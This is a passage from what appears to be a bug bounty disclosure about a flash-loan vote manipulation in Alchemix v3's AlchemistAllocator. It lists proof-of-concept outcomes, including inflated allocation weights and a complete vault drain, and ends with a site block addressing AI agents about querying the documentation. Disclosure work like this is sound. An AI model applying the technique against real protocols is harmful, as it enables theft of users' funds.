* Vote was cast with full borrowed balance: `balanceOf = 1e21`
* Flash loan repaid in same transaction: `balanceOf = 0`
* After `clearVote()`, weight calculation uses zero balance: `weight * 0 = 0`
* Inflated weight persists: `getCurrentAllocations() = [111], [1e18]` (100%)
* Vote storage is empty but weight remains unchanged
* Entire vault drained atomically: `Looted(amount: 2e21)`
* Allocator balance after attack: 0 (complete theft)
* Malicious strategy received: 2000 ether (100% of vault funds)

This demonstrates the vulnerability allows an attacker with zero governance tokens to permanently manipulate allocation weights and drain 100% of vault funds in a single atomic transaction.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/alchemix-v3/56798-sc-critical-flash-vote-exploit-drains-all-funds-via-alchemistallocator.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
